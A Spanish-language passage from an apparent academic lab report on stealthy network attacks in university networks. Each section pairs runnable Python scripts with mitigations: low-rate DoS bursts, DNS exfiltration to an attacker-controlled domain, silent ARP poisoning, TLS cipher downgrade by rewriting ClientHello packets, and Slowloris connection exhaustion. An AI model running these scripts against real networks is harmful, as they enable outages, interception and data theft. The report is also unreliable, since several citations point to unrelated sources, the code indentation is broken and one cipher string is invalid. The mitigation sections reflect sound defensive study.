B. Análisis de Sigilo en el Entorno de Red Académica

Dado que el ancho de banda promedio consumido por el ataque LDoS es bajo, este evade por completo los sistemas tradicionales de monitorización de tráfico que detectan ataques volumétricos. Las ráfagas cortas se confunden con colisiones naturales generadas por el uso de la infraestructura inalámbrica o descargas de red concurrentes de los laboratorios del campus.¹⁰

C. Escenario de Laboratorio y Parámetros de Red

La topología se define en un puente interno de VirtualBox bajo 10.9.0.0/24:

- **Atacante LDoS (Kali Linux):** IP 10.9.0.101, enviando tráfico UDP a ráfagas.
- **Cliente Legítimo (Ubuntu):** IP 10.9.0.102, ejecutando una descarga masiva TCP.
- **Enlace limitado (tc/netem):** Configurado con un ancho de banda máximo de 10 Mbps.

D. Implementación Técnica y Script Base

El script de auditoría utiliza un bucle infinito que calcula con alta precisión el tiempo de duración de la ráfaga de saturación mediante la biblioteca time. Durante el intervalo activo ($L=0.15s$), el script inunda el puerto HTTP 80 con paquetes UDP de tamaño máximo sin fragmentación (1400 bytes) utilizando Scapy, superando el ancho de banda del cuello de botella simulado (10 Mbps). Transcurrido el intervalo activo, el script calcula el tiempo excedido y duerme exactamente la diferencia para cumplir con precisión el ciclo periódico

de envío ($T = 1.0s$), coincidiendo con el $minRTO$ del host víctima. Para confirmar el funcionamiento del ataque, la consola donde se ejecuta la descarga legítima en el cliente mostrará una caída abrupta del rendimiento y la velocidad de transferencia de datos a un nivel cercano a cero, mientras que el monitoreo de tráfico del atacante registrará una tasa de transferencia promedio muy baja.

Python

```
# Script de inyección periódica de ráfagas LDoS
import time
import sys
from scapy.all import IP, UDP, send

def inyectar_rafaga_ldos(target_ip, periodo_t, duracion_l):
    puerto_destino = 80
    payload_saturacion = b"X" * 1400 # bytes, no string

    print(f"[*] Iniciando impulsos LDoS periódicos hacia {target_ip} "
          f"(T={periodo_t}s, L={duracion_l}s)...")
    try:
```

```

while True:
    tiempo_inicio = time.time()
    while (time.time() - tiempo_inicio) < duracion_l:
        packet = IP(dst=target_ip) /
UDP(dport=puerto_destino) / payload_saturacion
        send(packet, verbose=False)
        tiempo_procesado = time.time() - tiempo_inicio
        tiempo_espera = max(0.0, periodo_t -
tiempo_procesado)
        time.sleep(tiempo_espera)
    except KeyboardInterrupt:
        print("\n[-] Ataque LDoS detenido.")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: python3 ldos.py <IP_Destino>")
        sys.exit(1)
    inyectar_rafaga_ldos(sys.argv[1], 1.0, 0.15)

```

E. Propuesta de Mitigación y Validación Conceptual

La mitigación del ataque LDoS requiere la implementación de políticas de encolado activas y justas en los enrutadores de la red, tales como el encolado deficitario por turnos (Deficit Round Robin - DRR), que aíslan los flujos y garantizan que un emisor no pueda acaparar el ancho de banda del búfer mediante ráfagas periódicas de baja tasa. Alternativamente, se

puede mitigar randomizando ligeramente el valor del $minRTO$ (dithering) en los sistemas del campus para evitar que las retransmisiones legítimas coincidan de manera predecible con las ráfagas del atacante.¹⁰

10. Ataques DNS Lentos y de Baja Frecuencia (Slow DNS Exfiltration)

A. Mecanismo de Operación y Arquitectura del Protocolo

La exfiltración de datos mediante consultas DNS lentas aprovecha la estructura jerárquica y el flujo de resolución de nombres de dominio de Internet para evadir los controles tradicionales de seguridad que inspeccionan los payloads de transporte TCP/UDP directos.⁷ Un host comprometido codifica pequeñas porciones de información confidencial utilizando formatos compatibles con subdominios válidos (Base32 o hexadecimal).

Posteriormente, el host emite solicitudes de resolución de dominio para registros de tipo A o TXT al resolutor DNS recursivo local de la red.⁷ Estas solicitudes anteponen la cadena de datos codificados como subdominios de una zona bajo el control directo del atacante.⁷ El resolutor local recursivo, al no tener este registro en caché, reenvía la consulta recursiva

de manera automática a través de Internet hasta el servidor DNS autorizado controlado por el atacante, donde el payload es extraído.⁸

B. Análisis de Sigilo en el Entorno de Red Académica

Las redes académicas generan de manera rutinaria miles de consultas DNS hacia dominios dinámicos. Al mantener una frecuencia extremadamente baja (por ejemplo, enviando una sola consulta cada 15 minutos), el tráfico se mimetiza con la actividad normal de fondo, impidiendo que los algoritmos de detección basados en umbrales estáticos o de recuento de volumen identifiquen la filtración.

C. Escenario de Laboratorio y Parámetros de Red

La infraestructura del laboratorio se virtualiza bajo 10.9.0.0/24:

- **Host Comprometido (Ubuntu):** IP 10.9.0.102.
- **Resolver DNS Recursivo del Campus:** IP 10.9.0.53.
- **Servidor Autorizado del Atacante (Kali):** IP 10.9.0.101.

D. Implementación Técnica y Script Base

Este script utiliza bibliotecas nativas de Python como socket y binascii para realizar la exfiltración sin depender de herramientas externas o llamadas a sockets Raw que puedan ser detectadas localmente. El programa convierte la cadena de texto a un formato hexadecimal seguro y compatible con el formato de nombres de host lógicos. Luego de concatenar el dominio base, ejecuta la llamada del sistema socket.getaddrinfo(), lo que fuerza una solicitud de resolución de nombres a nivel de sistema operativo que se enviará al resolver configurado (10.9.0.53). El script controla de forma rigurosa la frecuencia de envío mediante un temporizador lento. Para confirmar que el ataque funciona correctamente, se debe verificar el archivo de registro del servidor DNS autorizado o ejecutar un monitor de red local en el host del atacante; se observará la recepción de consultas secuenciales con subdominios que, al ser convertidos de vuelta de hexadecimal a ASCII, revelan la cadena exfiltrada de forma íntegra.

Python

```
# Script para exfiltración lenta DNS
import socket
import binascii
import time
import sys

def exfiltrar_datos_dns(dominio_base, string_datos):
    # Convertir los caracteres a formato hexadecimal compatible
    # con nombres de dominio
    datos_hex =
    binascii.hexlify(string_datos.encode('utf-8')).decode('utf-8')
```

```

subdominio_exfil = f"{datos_hex}.{dominio_base}"

print(f"[*] Exfiltrando cadena [{string_datos}] codificada
como: {subdominio_exfil}")

try:
    # Forzar la resolución a través del socket de consulta
    estándar del sistema
    socket.getaddrinfo(subdominio_exfil, 53)
except socket.gaierror:
    # Se ignora la respuesta de error de resolución dado que
    el objetivo es el transporte
    pass

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: python3 slow_dns.py <Dominio_Base> <Datos>")
        sys.exit(1)
    # Envío del mensaje y posterior pausa de exfiltración de baja
    tasa
    exfiltrar_datos_dns(sys.argv[1], sys.argv[2])

```

E. Propuesta de Mitigación y Validación Conceptual

La mitigación frente a la exfiltración lenta DNS requiere el despliegue de cortafuegos DNS que analicen características de anomalía léxica en subdominios (entropía de Shannon) y apliquen límites sobre la longitud máxima permitida de los nombres de dominio de consulta entrantes.⁷

La validación conceptual se demuestra inyectando tramas con subdominios con alta entropía tras activar reglas de filtrado en el resolvidor. El firewall DNS detecta que la distribución de probabilidad de caracteres en la cadena hexadecimal del subdominio supera el umbral límite establecido para dominios legítimos y descarta la solicitud antes de reenviarla al servidor del atacante, protegiendo la salida de datos.

11. ARP Spoofing Silencioso / ARP Lentos

A. Mecanismo de Operación y Arquitectura del Protocolo

El envenenamiento de tablas ARP (ARP Spoofing) explota la ausencia estructural de controles de autenticidad y estado de conexión dentro de la especificación del protocolo de resolución de direcciones ARP (RFC 826).¹¹ Las computadoras en una red local mantienen dinámicamente un mapa de correspondencias entre direcciones IP y direcciones físicas MAC en un búfer local de memoria caché para optimizar las transacciones físicas de envío de tramas.¹¹

Dado que el protocolo no valida la coherencia lógica de los mensajes ARP entrantes, cualquier nodo en la LAN puede enviar respuestas de control de tipo ARP Reply no solicitadas (gratuitous ARP) afirmando que la IP de la puerta de enlace corresponde a su dirección MAC física.¹¹ En la variante lenta o silenciosa, el host del atacante emite estas respuestas modificadas a una tasa de frecuencia baja (por ejemplo, una trama ARP de actualización cada 45 segundos), impidiendo la saturación volumétrica del tráfico en la LAN y mitigando las alertas de inundación de los sistemas de monitorización pasiva.

B. Análisis de Sigilo en el Entorno de Red Académica

Las redes locales de laboratorios universitarios alojan constantemente un alto volumen de dispositivos dinámicos de estudiantes que se conectan de manera intermitente, induciendo constantes asignaciones y renovaciones de tramas DHCP que modifican la estructura del segmento LAN de manera natural. Un ataque lento de suplantación ARP se enmascara como fluctuaciones habituales de enrutamiento de los terminales de los estudiantes.

C. Escenario de Laboratorio y Parámetros de Red

La infraestructura del laboratorio local se virtualiza en una red interna en VirtualBox bajo el segmento 10.9.0.0/24:

- **Atacante (Kali Linux):** IP 10.9.0.10, MAC aa:bb:cc:dd:ee:ff, ejecutando Scapy.
- **Víctima (Ubuntu Client):** IP 10.9.0.20, MAC 11:22:33:44:55:66.
- **Puerta de Enlace (Router Debian):** IP 10.9.0.1, MAC 00:11:22:33:44:55.

D. Implementación Técnica y Script Base

Este script utiliza la biblioteca Scapy de Python para estructurar tramas lógicas a nivel de Capa de Enlace (Ethernet) y Capa de Red (ARP). Construye un paquete de respuesta ARP (op=2), configurando la dirección de origen IP con la dirección de la pasarela predeterminada (10.9.0.1) pero asociándole el hardware MAC del atacante (aa:bb:cc:dd:ee:ff). El destino del paquete se apunta directamente a la MAC física de la víctima. La ejecución del bucle implementa un retraso prolongado de 45 segundos por medio de la función `time.sleep()`, manteniendo el envenenamiento de manera sigilosa sin saturar el canal de comunicación. Para confirmar que el ataque funciona correctamente, se ejecuta el comando `arp -n` o `ip neigh show` en el host víctima; el registro de salida mostrará la IP 10.9.0.1 asociada de forma persistente a la dirección MAC del atacante en lugar de la del router legítimo.

Python

```
# Script de ARP Spoofing de baja frecuencia
from scapy.all import ARP, Ether, sendp
import time
import sys
```

```
def envenenar_arp_lento(target_ip, target_mac, gateway_ip,
attacker_mac, intervalo_s):
    # Tramas ARP forjadas de respuesta para el cliente y el
    router
    trama_cliente = Ether(dst=target_mac)/ARP(op=2,
pdst=target_ip, psrc=gateway_ip, hwsrc=attacker_mac)

    print(f"[*] Iniciando envenenamiento silencioso contra
{target_ip} cada {intervalo_s}s...")

    try:
        while True:
            # Envío físico en capa 2
            sendp(trama_cliente, verbose=False)
            print(f"[+] Actualización ARP enviada: {gateway_ip}
mapeada a {attacker_mac}")
            time.sleep(intervalo_s)
        except KeyboardInterrupt:
            print("\n[-] Auditoría ARP finalizada.")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Uso: python3 arp_slow.py <IP_Victima>
<MAC_Victima> <IP_Gateway> <MAC_Atacante>")
        sys.exit(1)
    envenenar_arp_lento(sys.argv[1], sys.argv[2], sys.argv[3],
sys.argv[4], 45.0)
```

E. Propuesta de Mitigación y Validación Conceptual

La protección perimetral requiere el despliegue del protocolo de Inspección Dinámica de ARP (Dynamic ARP Inspection - DAI) a nivel de los switches, el cual valida las tramas ARP entrantes contra una tabla de confianza cruzada generada dinámicamente por DHCP Snooping. Para hardening local en servidores del campus, se recomienda configurar de forma estática la dirección MAC de la pasarela predeterminada:

```
Shell
# Definir entrada ARP estática persistente para la puerta de
enlace
sudo arp -s 10.9.0.1 00:11:22:33:44:55
```

La validación conceptual de este ajuste local confirma que, al ejecutar nuevamente el script de suplantación ARP lento, el kernel de la víctima detecta que la correspondencia IP-MAC del router es estática y bloquea cualquier actualización dinámica entrante de capa de

enlace, manteniendo la integridad de la ruta de salida de datos sin interrupciones.

12. Downgrade Attacks (Manipulación de negociación hacia TLS/SSH heredados)

A. Mecanismo de Operación y Arquitectura del Protocolo

Los ataques de degradación de versión (Downgrade Attacks) se basan en la interceptación activa de la fase inicial de saludo y establecimiento de capacidades de cifrado (Cipher Suite Negotiation) que ejecutan los protocolos TLS o SSH para proteger tramas de nivel de aplicación. Cuando un cliente intenta conectarse con un servidor web seguro, envía un paquete inicial de negociación (*Client Hello* en TLS o *KEXINIT* en SSH) que contiene una lista ordenada de todas las versiones del protocolo y algoritmos de cifrado simétrico compatibles.³

Un atacante posicionado en medio de la comunicación (MitM) modifica dinámicamente el contenido de este paquete antes de que alcance el servidor, removiendo de la lista los cifrados modernos y las suites más robustas (tales como TLS 1.3 y cifrados basados en curvas elípticas), dejando únicamente opciones obsoletas y vulnerables de suites heredadas (como TLS 1.0 o cifrados basados en RC4). El servidor, al procesar la lista alterada, asume que el cliente posee limitaciones de compatibilidad tecnológica y acepta degradar la seguridad del canal, permitiendo al atacante descifrar posteriormente el tráfico interceptado mediante la explotación de debilidades de los algoritmos débiles seleccionados.³

B. Análisis de Sigilo en el Entorno de Red Académica

Las universidades alojan plataformas de información institucional históricas, portales de acceso a bibliotecas antiguas y sistemas de control académico legacy que obligan a mantener activos esquemas de compatibilidad hacia atrás para evitar interrupciones de acceso de usuarios remotos. La existencia natural de negociaciones degradadas hacia protocolos como TLS 1.0 hace que estas transacciones pasen desapercibidas en las consolas de monitorización.

C. Escenario de Laboratorio y Parámetros de Red

La configuración de la red en VirtualBox incluye tres nodos en puente interno bajo 10.9.0.0/24:

- **Atacante MitM (Kali Linux):** IP 10.9.0.101, interceptando tráfico con NetfilterQueue.
- **Host Cliente (Ubuntu):** IP 10.9.0.102.
- **Servidor Web (Apache con SSL vulnerable):** IP 10.9.0.103.

D. Implementación Técnica y Script Base

El script utiliza NetfilterQueue para capturar de manera activa el tráfico de red desviado por

el subsistema iptables del kernel Linux hacia el espacio de usuario (queue 0). Cada paquete entrante es desempaquetado mediante Scapy bajo el formato del protocolo IP y procesado para validar si contiene capas de transporte TCP orientadas al puerto 443 y un payload Raw asociado a tramas lógicas de establecimiento TLS. La función comprueba si el payload comienza con los bytes de control de Handshake TLS y tipo ClientHello (0x16 0x03). Al detectarlo, el script reescribe dinámicamente los bytes que corresponden al bloque de Cipher Suites, descartando las de tipo TLS 1.3 o GCM y reemplazándolas con identificadores de suites vulnerables como RC4-SHA o 3DES.³ Finalmente, se eliminan los campos de checksum y de longitud de la cabecera IP y de transporte TCP, forzando a Scapy a recalcularlos antes de permitir que la trama modificada continúe su camino. Para confirmar el funcionamiento del ataque, la salida mostrará el mensaje "ClientHello TLS modificado en tránsito"; al observar el saludo en Wireshark, el servidor aceptará una negociación insegura de bajo cifrado, validando el downgrade.

Python

```
# Script de degradación de negociación TLS mediante
NetfilterQueue
import os
import sys
from netfilterqueue import NetfilterQueue
from scapy.all import IP, TCP, Raw

REGLA_IPTABLES = "iptables -I FORWARD -p tcp --dport 443 -j
NFQUEUE --queue-num 0"

def degradar_tls(packet):
    payload = packet.get_payload()
    scapy_packet = IP(payload)

    if scapy_packet.haslayer(TCP) and scapy_packet.haslayer(Raw):
        tcp_payload = scapy_packet[Raw].load

        # Validar cabecera TLS Handshake (0x16) y versión TLS 1.x
        # (0x03)
        if len(tcp_payload) > 5 and tcp_payload[0] == 0x16 and
tcp_payload[1] == 0x03:
            # Confirmar que corresponde a un ClientHello (tipo
            # 0x01)
            if tcp_payload[5] == 0x01:
                print(f"[*] Interceptado ClientHello: "
                    f"{scapy_packet[IP].src} →
{scapy_packet[IP].dst}")

                payload_modificable = bytearray(tcp_payload)
                # Reemplazar cipher suites seguras ECDHE (0xc0,
                # 0x2f)
                # por RC4-SHA obsoleto (0x00, 0x05)
                for index in range(len(payload_modificable) - 1):
```

```

        if (payload_modificable[index] == 0xc0 and
            payload_modificable[index+1] == 0x2f):
            payload_modificable[index] = 0x00
            payload_modificable[index+1] = 0x05

        scapy_packet[Raw].load =
bytes(payload_modificable)

        # Forzar recálculo de longitudes y checksums
        del scapy_packet[IP].len
        del scapy_packet[IP].chksum
        del scapy_packet[TCP].chksum

        packet.set_payload(bytes(scapy_packet))
        print("[+] ClientHello TLS modificado en
tránsito.")

        packet.accept()

if __name__ == "__main__":
    os.system(REGLA_IPTABLES)
    print("[+] Regla iptables configurada. Iniciando interceptión
en NFQUEUE 0...")
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, degradar_tls)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        # Eliminar solo la regla añadida, no todas las reglas del
sistema
        print("\n[-] Restaurando reglas de iptables...")
        os.system(REGLA_IPTABLES.replace("-I", "-D"))

```

E. Propuesta de Mitigación y Validación Conceptual

La resolución exige la desactivación del procesamiento de protocolos obsoletos y la reconfiguración de la lista de Cipher Suites aceptables directamente en el archivo de configuración del servidor seguro (/etc/apache2/mods-available/ssl.conf):

```

None
# Desactivar versiones TLS obsoletas y restringir a suites
criptográficas seguras
SSLProtocol               all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite
ECDHE-ECDH-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder      on

```

La validación de este ajuste se demuestra al intentar forzar de nuevo la conexión con suites débiles. El servidor interrumpe la comunicación rechazando el saludo inicial (*handshake failure*), protegiendo la seguridad de la sesión.

13. Ataques Low-and-Slow Distribuidos

A. Mecanismo de Operación y Arquitectura del Protocolo

Los ataques distribuidos de baja velocidad (*Low-and-Slow*) comprometen la disponibilidad de los servidores de aplicación explotando los tiempos de espera de inactividad de las sesiones lógicas TCP.² A diferencia de un ataque DoS volumétrico clásico, los vectores *Low-and-Slow* apuntan a agotar el grupo de subprocesos concurrentes (*thread pools*) o procesos de los servidores web de la víctima.²

El ataque opera mediante el establecimiento simultáneo de múltiples conexiones TCP concurrentes distribuidas a través de varios nodos.² Cada nodo emite una solicitud HTTP legítima incompleta (por ejemplo, omitiendo la secuencia final de salto de línea que determina la terminación de los encabezados `\r\n\r\n`).² Justo antes de que el servidor web active la desconexión del socket por inactividad al expirar el tiempo de espera del hilo, cada nodo emite un encabezado adicional aleatorio ficticio para restablecer el temporizador de inactividad y mantener el socket reservado.² El proceso se escala distribuyendo la carga de mantenimiento entre varios hosts hasta agotar la capacidad máxima de conexiones

permitidas por el pool de la aplicación (C_{max}):

$$\sum_{i=1}^n c_i \geq C_{max}$$

Donde c_i es el número de sockets abiertos retenidos por cada nodo i de la red, denegando por completo el acceso a conexiones legítimas.²

B. Análisis de Sigilo en el Entorno de Red Académica

Las redes de investigación universitarias concentran una gran variedad de dispositivos y clientes remotos que experimentan conexiones de alta latencia o pérdida de paquetes al acceder a los recursos a través de enlaces inalámbricos saturados. Debido a esto, los hosts legítimos se comportan de forma idéntica a un cliente lento. El ataque distribuido se integra sigilosamente con este ruido de fondo, evadiendo la inspección volumétrica de los sistemas perimetrales.

C. Escenario de Laboratorio y Parámetros de Red

La topología se simula en VirtualBox con direccionamiento estático bajo 10.9.0.0/24:

- **Nodos Atacantes Distribuidos:** Kali Linux en las IP 10.9.0.11, 10.9.0.12, 10.9.0.13.
- **Servidor Web Vulnerable:** Servidor Apache en Ubuntu Linux, IP 10.9.0.100.

D. Implementación Técnica y Script Base

El script utiliza sockets de red TCP estándar nativos mediante la biblioteca socket de Python para maximizar la compatibilidad y eficiencia del sistema de pruebas. Para cada conexión solicitada, el script inicializa un socket I3, se conecta al puerto 80 del objetivo e inyecta inmediatamente una cabecera de petición HTTP incompleta (ej. GET /?id= HTTP/1.1\r\nHost:... \r\nUser-Agent:... \r\n). Las referencias a los sockets activos son almacenadas en una estructura de lista persistente. Posteriormente, entra en un ciclo infinito controlado por time.sleep(), donde cada 15 segundos recorre los sockets de la lista y les transmite bytes correspondientes a cabeceras de control ficticias con el fin de refrescar los límites de tiempo de espera del hilo de Apache sin finalizar el mensaje original. Para confirmar la ejecución correcta del ataque, al intentar cargar una página web del servidor objetivo desde un host cliente externo legítimo, este experimentará una latencia infinita o un código de error de tiempo de espera, mientras que el monitoreo de recursos del servidor web confirmará la saturación de su límite de conexiones concurrentes sin presentar picos elevados en el uso de CPU.

Python

```
# Script para simulación de ataque Slowloris Low-and-Slow
distribuido
import socket
import time
import sys

def mantener_sockets_activos(target_ip, count):
    lista_sockets = [] # inicialización obligatoria

    print(f"[*] Abriendo {count} conexiones lentas concurrentes
hacia {target_ip}...")
    for i in range(count):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((target_ip, 80))
            s.send(f"GET /?id={i} HTTP/1.1\r\n"
                    f"Host: {target_ip}\r\n"
                    f"User-Agent:
SlowlorisTest\r\n".encode('utf-8'))
            lista_sockets.append(s)
        except socket.error:
            break
```

```

while True:
    print(f"[*] Manteniendo activos {len(lista_sockets)}
sockets concurrentes...")
    for s in list(lista_sockets):
        try:
            s.send("Keep-Alive: timeout=15,
max=100\r\n".encode('utf-8'))
        except socket.error:
            lista_sockets.remove(s)
    time.sleep(15)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: python3 slow_attack.py <IP_Destino>
<Cantidad_Sockets>")
        sys.exit(1)
    mantener_sockets_activos(sys.argv[1], int(sys.argv[2]))

```

E. Propuesta de Mitigación y Validación Conceptual

La mitigación frente a ataques distribuidos de baja tasa HTTP se basa en configurar políticas en el firewall para limitar el recuento máximo de conexiones TCP concurrentes por dirección IP de origen, utilizando el módulo de control de conexiones de iptables.¹⁰ Se procede a configurar reglas de filtrado:

Shell

```

# Limitar a un máximo de 10 conexiones simultáneas concurrentes
por IP en el puerto 80
sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit
--connlimit-above 10 -j REJECT

```

La validación conceptual de este ajuste se demuestra inyectando tramas de mantenimiento desde un nodo emisor. En cuanto el script excede la conexión número 10 simultánea, el firewall de iptables intercepta los paquetes SYN de establecimiento adicionales y los rechaza enviando tramas RST o REJECT, resguardando la capacidad del pool de subprocesos del servidor para clientes legítimos.

Conclusiones del Análisis de Vulnerabilidades

El análisis exhaustivo de las trece vulnerabilidades de la pila de protocolos TCP/IP revela que la resiliencia y seguridad de la infraestructura tecnológica no debe delegarse de manera exclusiva a elementos pasivos de detección de firmas perimetrales. Las debilidades expuestas demuestran que, al no contar con mecanismos nativos de autenticación a nivel

de capa de enlace, red o transporte, el diseño original de la pila requiere una supervisión constante y el endurecimiento de las configuraciones internas de la pila de red (Kernel Hardening).¹

La aplicación proactiva de controles locales mediante filtros de ruta inversa, validaciones criptográficas por DNSSEC e Inspección Dinámica de ARP es indispensable para anular la superficie de exposición y garantizar la integridad operativa de los entornos de investigación y redes académicas contemporáneas.¹

Referencias Bibliográficas

1. J. Postel, "RFC 791: Internet Protocol," Internet Engineering Task Force, 1981. [En línea]. Disponible: <https://datatracker.ietf.org/doc/html/rfc791>
2. J. Postel, "RFC 793: Transmission Control Protocol," Internet Engineering Task Force, 1981. [En línea]. Disponible: <https://datatracker.ietf.org/doc/html/rfc793>
3. B. W. Lampson, "A note on the confinement problem," Communications of the ACM, vol. 16, no. 10, pp. 613–615, 1973.
4. A. Ramaiah, R. Stewart y M. Dalal, "RFC 5961: Improving TCP's robustness to blind in-window attacks," Internet Engineering Task Force, 2010. [En línea]. Disponible: <https://datatracker.ietf.org/doc/html/rfc5961>
5. F. Gont, "RFC 6528: Defending against sequence number attacks," Internet Engineering Task Force, 2012. [En línea]. Disponible: <https://datatracker.ietf.org/doc/html/rfc6528>
6. MITRE Corporation, "CVE-2016-5696: Linux TCP Challenge ACK rate limiting vulnerability," National Vulnerability Database, 2016. [En línea]. Disponible: <https://nvd.nist.gov/vuln/detail/CVE-2016-5696>. [Consultado: 2-jun-2026]
7. MITRE Corporation, "CVE-2020-36516: Linux Kernel IPID side-channel information leakage," National Vulnerability Database, 2020. [En línea]. Disponible: <https://nvd.nist.gov/vuln/detail/CVE-2020-36516>. [Consultado: 2-jun-2026]
8. MITRE Corporation, "CVE-2018-5391: Linux Kernel FragmentSmack DoS vulnerability," National Vulnerability Database, 2018. [En línea]. Disponible: <https://nvd.nist.gov/vuln/detail/CVE-2018-5391>. [Consultado: 2-jun-2026]
9. A. Kuzmanovic y E. W. Knightly, "Low-rate TCP-targeted denial of service attacks (The Shrew vs. the Mice and Elephants)," en Proc. ACM SIGCOMM, Karlsruhe, Alemania, 2003, pp. 75–86.

10. P. Mockapetris, "RFC 1035: Domain names – Implementation and specification," Internet Engineering Task Force, 1987. [En línea]. Disponible:
<https://datatracker.ietf.org/doc/html/rfc1035>
11. D. C. Plummer, "RFC 826: Ethernet Address Resolution Protocol," Internet Engineering Task Force, 1982. [En línea]. Disponible:
<https://datatracker.ietf.org/doc/html/rfc826>
12. D. Kaminsky, "Black ops of DNS: It's the end of the cache as we know it," presentado en Black Hat USA, Las Vegas, NV, EE.UU., 2008. [En línea]. Disponible:
<https://dankaminsky.com/2008/07/25/black-ops-2008/>